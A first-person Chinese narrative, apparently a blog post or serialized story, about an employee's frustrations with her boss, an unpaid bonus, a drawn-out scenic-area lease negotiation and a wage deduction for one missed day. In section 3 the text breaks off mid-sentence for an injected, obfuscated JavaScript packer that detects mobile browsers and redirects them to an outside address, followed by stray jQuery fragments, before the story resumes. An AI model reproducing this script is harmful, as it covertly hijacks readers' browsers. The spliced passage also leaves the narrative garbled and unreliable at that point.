原本已经离职,审批流程也全部走完了。可最终,还是被集团的老领导劝了回来。
我对自己说,最多再呆两个月。如果在这两个月内,老领导承诺过的升职加薪没有落实,我会立刻离开。而这两个月,就当是回报他的赏识与信任了。
1
离职那天,总经理倪总三次挽留我,晓之以理、动之以情,说得口干舌燥,我还是走了。可当我决定回来时,他却并不高兴,只因为——我不是因为他才回来的。
所以第二天上午,倪总一到公司,便把我叫进了办公室。
“我是真觉得我对你很好了。”他说,“我那么诚心诚意地挽留你,你头也不回。葛总跟你聊了几句,你就回心转意了。我想不通,我们三四年的感情,难道还比不上他两个电话吗?”
其实我也想不通,倪总凭什么老觉得他对我特别好?好在哪?
我的绩效工资什么时候恢复?我停发的15个月绩效什么时候补发?我的绩效考核表什么时候确定?……
我曾三番五次提出的诉求他从来不正面回应,却口口声声说对我多好多好。
但我已经不打算再争论这些问题了,没有任何意义。
我敷衍地笑了笑:“我也没说你对我不好啊。那我对你不好吗?我在这坚持了四年,你不知道我有多累。”
“那我不累吗?”他立刻反问,语气里甚至带着一点委屈。
一个老板和一个员工讨论谁更累?多可笑。
事实上,这也不是我第一次自讨没趣了,怪我一时嘴快。
“算了,不跟你扯这些。既然回来了,就好好干活。现在云居阁、体育馆、植物园这几个项目都需要好的文创,反正这些都是你专业上的事,你多用点心。”
倪总又在试图让我重操旧业,这件事他已经提过不止一次,而我也明确拒绝过——我已经转行了,不想再做设计。可他还是一而再再而三地提起,不累吗?
“我也可以做设计。”我退了一步,“但这种工作需要长时间静下来打磨,那项目对接我就没法同时兼顾。”
“不行,两边都要做。”
这就是他的态度,既要又要还要——物尽其用。
倪总野心勃勃想做文创产业,却舍不得花钱请几个资深设计师。
也是,有免费可用的为什么还要花钱去外面请呢?
我既然已经决定为了老领导再留两个月,那在倪总这里,我还是要尽量为自己争取一个相对温和的工作环境。所以我没有当场拒绝,而是选择了拖延,我在等待一个合适的时机。
2
云居阁的租赁合同,前前后后沟通了两年之久。
如果不是其中某一个人,或许这个项目早就开业了也未可知。
这个人原本是景区管理公司的一名主管,最初的租赁合同,正是由我和他对接。
在云居阁的租赁合同第一次提交景区内部会议之前,我曾反复与他确认双方领导已经谈妥的条款。对方提供了合同模版,我在此基础上逐条修改,并用红色标出关键条款。他也在我修改过的版本上逐条截图、确认。
我以为这样已经足够严谨。可会议结束后出来的会议纪要,却和我们此前确认的内容大相径庭。
倪总勃然大怒,认定是我没有对接清楚。
我说,我对接清楚了。
他却反问我一句:“你有证据吗?”
那一刻,我是真的愣住了。
我从没想过,在事情出现问题时,我需要先自证自己的“清白”!
我压着火气回答:“有。”
“那你发给我。”
“好。”
我一边生着气,一边把我和那位主管的完整沟通过程截图整理出来,发给了倪总。
幸好,还有这些聊天记录。
不对,不是“幸好”,是我早有准备!
在这里工作,是有风险的,我早就知道。所以必须学会留痕。
能通过文字沟通的,尽量不要打电话;非要打电话的,涉及关键事项,必须录音。不是为了算计谁,而是为了自保。
这不是我一开始就懂的。
早期我和一位项目总监发生了矛盾,当我把我们的沟通情况复述给倪总听时,他居然问我:“你有录音吗?你怎么证明你说了这些?”
我当时整个人都懵了。我想着我们是同事啊,我从没想过在自己的公司里、和自己的同事沟通,还需要提前准备录音?!
我说,我没有。他说:“那你怎么证明你说的话?”
于是我弄明白了一件事——
在这个系统里,没有人会替你担责。
你说得再清楚、做得再认真,只要缺少“证据”,一切都可以被推翻。
从那以后,我也学“聪明”了,事事留痕。
3
那天下午,我和慕雅琴又一次带着租赁合同,前往云居阁景区办公室,见新一任负责此事的领导。
这是我们熟得不能再熟的一套流程——
重新介绍项目背景,重新解释此前谈妥的条件,再把整件事的来龙去脉从头捋一遍。
免不了,又是一场对质。
“你说这些条件,是你们集团领导和我们集团领导早就谈好的,”对面那位中年女领导语气咄咄逼人,“那谁能证明?”
我下意识回答:“你们那边当时参与沟通的负责人,还有具体对接的人,都可以证明。”
她立刻打断我:“他们不能代表我们景区。”
她又补了一句,语气冷硬:“至于当时具体负责对接的那位,现在已经不在这个位置上了。因为这件事犯了错误,在集团内部也已经被边缘化了。”
我愣了一下,下意识反问:“你们景区的上级单位领导,也代表不了你们景区吗?”
她被我这一问噎了一下,后牙槽明显咬紧了几分,随即换了一种说法:
“不是代表不了,关键是你们没有证据。现场没有任何书面确认,这让我们下面的人怎么执行?而且集团有明确规定,合同是不允许修改的,不管哪个领导来说都不管用。明白吗?”
这类话,我们听过太多次了。
同样的逻辑、同样的推诿,只是换了一个人、换了一种语气。
在我们这个层级,无论怎么“讲清楚”,都改变不了既定的结果。
“那我之前提过的外立面修复问题,怎么解决?还有二楼回廊,人一多会不会存在安全隐患?这是我们目前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113988|195891||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
比较担心的一个问题。”
我们要租用的那栋楼是木结构,外立面多处被白蚁蛀空。早在之前,我就把损毁较为严重的位置拍照反馈给景区。但上一任领导班子给出的答复是——他们没有义务单独处理这个问题。
理由也很直接:北园一片建筑的情况大同小异,如果要修,就得整体修复,工程量巨大。
这一次,对方的态度稍有缓和。
“你提的这两个问题,我已经向上级反馈过了。”她说,“这个你们可以放心。该我们解决的问题,我们一定会解决,安全问题一定要保障。我们这个层面解决不了的,就请上面的领导去推进。云居阁空了这么久了,也别再继续浪费时间了,好吧?”
话说到这里,这场对话也算告一段落。
至少,外立面修复的问题,总算有了一个明确回应。
4
不知不觉,又过去了两个月。
也正是在这个节点,我得到了一个相对明确的消息——云居阁将于七月初正式启动装修方案的招投标流程,目标是在九月下旬开业。
这个我跟了整整两年的项目,终于要在两个月后落定了。
我犹豫了一下,还是决定再坚持一段时间。
既然已经走到这一步,再多两个月,又能怎样。
接下来的日子,节奏陡然加快。我开始密集地邀约装修公司、梳理设计思路、组织方案汇报、确定招投标流程、反复优化装修方案。慕雅琴则几乎把全部精力都投入到产品线上——除了首山堂提供的部分成品,我们还必须尽快补齐自己的原创产品体系。
我们像两根被反复上紧的发条,只剩下“往前推”这一件事。
七月上旬,妹妹一家搬去了宁波。到中旬时,十几岁的外甥女要带着年纪更小的外甥女坐高铁过去,我心里实在放心不下。也正好借着这个机会,想暂时离开工作,喘一口气。
我犹豫过要不要跟倪总请假,但很清楚他的反应——就算勉强答应,也必然要附带不必要的指责,影响我接下来的状态。索性,我什么都没说,直接带着两个孩子去了宁波,直到第二天中午才开机。
手机一亮,屏幕上是倪总连续十几个未接来电和信息——“电话不接,信息不回,按公司规定算你旷工一天。”
我当然知道自己理亏。所以第一时间承认错误、道歉,也保证不会再发生类似情况。但倪总还是执意按旷工一天处理,扣我三倍工资1200,毫无转圜余地。
我心里想着,他或许还在气头上。等事情忙完,再好好沟通,说不定还能挽回。毕竟这是扣款实在不轻。
可无论我之后如何拜托,他始终不肯松口,只一句话——要让我“长长记性”。
想到这四年来,我加过多少次班、多少个周末在外出差、节假日里又值过多少次班?这些从来没有被计算过,好像都是理所当然。承诺了三四年的奖金,一分钱也没有兑现。可一旦我犯了一次错,便紧追不放。
我真的好想问一句:老板,你不是说把我当姐妹吗,不是说对我最好吗?就这?
老板所谓的好,只基于我没有犯错、我便宜好用,停发绩效、不发奖金我也不闹。
这地方,我是真的一刻也不想待了。